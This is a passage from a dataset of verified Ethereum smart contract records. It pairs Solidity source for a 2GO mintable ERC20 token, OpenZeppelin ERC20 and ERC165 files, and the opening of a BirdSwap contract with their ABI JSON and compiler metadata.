],"name":"SpentERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"to","type":"address"},{"indexed":false,"name":"transfer","type":"uint256"}],"name":"SpentAny","type":"event"}] | v0.4.26+commit.4563c3fc | false | 200 | 000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000003000000000000000000000000dbabb0998c151d63bb4c085cdd2fe8207e26bd07000000000000000000000000b7f192ee414e3a66e1fb7a66cdd1d83ba7ab83f00000000000000000000000000d4814854c3168ad0a7af740d3c07fc71afd9c75 | Default | MIT | false | bzzr://78b9bd2ebc8e0cff6a86028165c6917f9c74aace4df5f27fa2001ad2db0e533d |
||
GOToken | GOToken.sol | 0xa8976a1cd731995aa183c19a61e14e3e2f843eda | Solidity | pragma solidity ^0.4.19;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract GOToken is MintableToken {
string public constant name = "2GO Token";
string public constant symbol = "2GO";
uint32 public constant decimals = 18;
mapping(address => bool) public locked;
function GOToken() public {
mint(0xaA6f680225e00bDa82D62c1e4Ab3BC56D826c8a1, 54000000000000000000000000);
finishMinting();
transferOwnership(0xC4ecaF5986c88C752bf6E73C1b48b251c2125700);
}
modifier notLocked() {
require(msg.sender == owner || (mintingFinished && !locked[msg.sender]));
_;
}
function lock(address to) public onlyOwner {
require(!mintingFinished);
locked[to] = true;
}
function unlock(address to) public onlyOwner {
locked[to] = false;
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(owner, alienToken.balanceOf(this));
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
} | [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"unlock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"anotherToken","type":"address"}],"name":"retrieveTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"locked","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"lock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.19+commit.c4cbbb05 | true | 200 | Default | false | bzzr://26748b20a25ffed70d2fa32472b62f39ad56b21beae7c43fc14615a3c8da172e |
||||
DIASourceNFT | @openzeppelin/contracts/token/ERC20/ERC20.sol | 0x9c9a8877319dde5c273811042686b1c91522b5ce | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"indexed":false,"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"TransferBatch","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"TransferSingle","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"value","type":"string"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"URI","type":"event"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"addDataNFTContractAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"uint256","name":"parentId","type":"uint256"},{"internalType":"uint256","name":"payoutShare","type":"uint256"}],"name":"addParent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"}],"name":"balanceOfBatch","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"}],"name":"claimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dataNFTContractAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"address","name":"receiver","type":"address"}],"name":"generateSourceToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"}],"name":"getSourcePoolAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"}],"name":"notifyDataNFTMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paymentToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oldAddress","type":"address"}],"name":"removeDataNFTContractAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"metadataURI","type":"string"}],"name":"setMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setSourcePoolAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"sourceNfts","outputs":[{"internalType":"uint256","name":"claimablePayout","type":"uint256"},{"internalType":"bool","name":"exists","type":"bool"},{"internalType":"address","name":"admin","type":"address"},{"internalType":"uint256","name":"payoutShare","type":"uint256"},{"internalType":"uint256","name":"sourcePoolAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"address","name":"newAdmin","type":"address"}],"name":"updateAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"uint256","name":"parentId","type":"uint256"},{"internalType":"uint256","name":"newPayoutShare","type":"uint256"}],"name":"updateParentPayoutShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}] | v0.8.0+commit.c7dfd78e | true | 20,000 | 000000000000000000000000aee6edb4c02d4bd1f7161fdfe0af18af425cbcd1 | Default | false | ||||
DIASourceNFT | @openzeppelin/contracts/utils/introspection/ERC165.sol | 0x9c9a8877319dde5c273811042686b1c91522b5ce | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
} | 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"type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"metadataURI","type":"string"}],"name":"setMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setSourcePoolAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"sourceNfts","outputs":[{"internalType":"uint256","name":"claimablePayout","type":"uint256"},{"internalType":"bool","name":"exists","type":"bool"},{"internalType":"address","name":"admin","type":"address"},{"internalType":"uint256","name":"payoutShare","type":"uint256"},{"internalType":"uint256","name":"sourcePoolAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"address","name":"newAdmin","type":"address"}],"name":"updateAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sourceNftId","type":"uint256"},{"internalType":"uint256","name":"parentId","type":"uint256"},{"internalType":"uint256","name":"newPayoutShare","type":"uint256"}],"name":"updateParentPayoutShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}] | v0.8.0+commit.c7dfd78e | true | 20,000 | 000000000000000000000000aee6edb4c02d4bd1f7161fdfe0af18af425cbcd1 | Default | false | ||||
BirdSwap | BirdSwap.sol | 0x2363635047bbc654195fdb49bbded9e2cca11976 | Solidity | //
// LIQUIDITY IS LOCKED FOR 6 MONTHS IN THE LIQUIDITY POOL PLEASE READ THE CODE AT THE END OF THIS CONTRACT
//
//BirdSwap is a one-stop station for all major Defi Services.
//BirdSwap is an innovative DeFi protocol that aims to improve such DeFi products like Uniswap and other liquidity pools (Curve, Compound, Yearn, etc.) to become the aggregator of major DeFi services.
//Being a one-of-its-kind project, it offers liquidity providers extra features and additional profit in the form of native BirdSwap (BirdSwap) coins.
//With all major DeFi protocols united in one place, BirdSwap will become a convenient instrument for fast and efficient crypto liquidity management.
//BirdSwap comes to make DeFi easy and accessible for all.
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
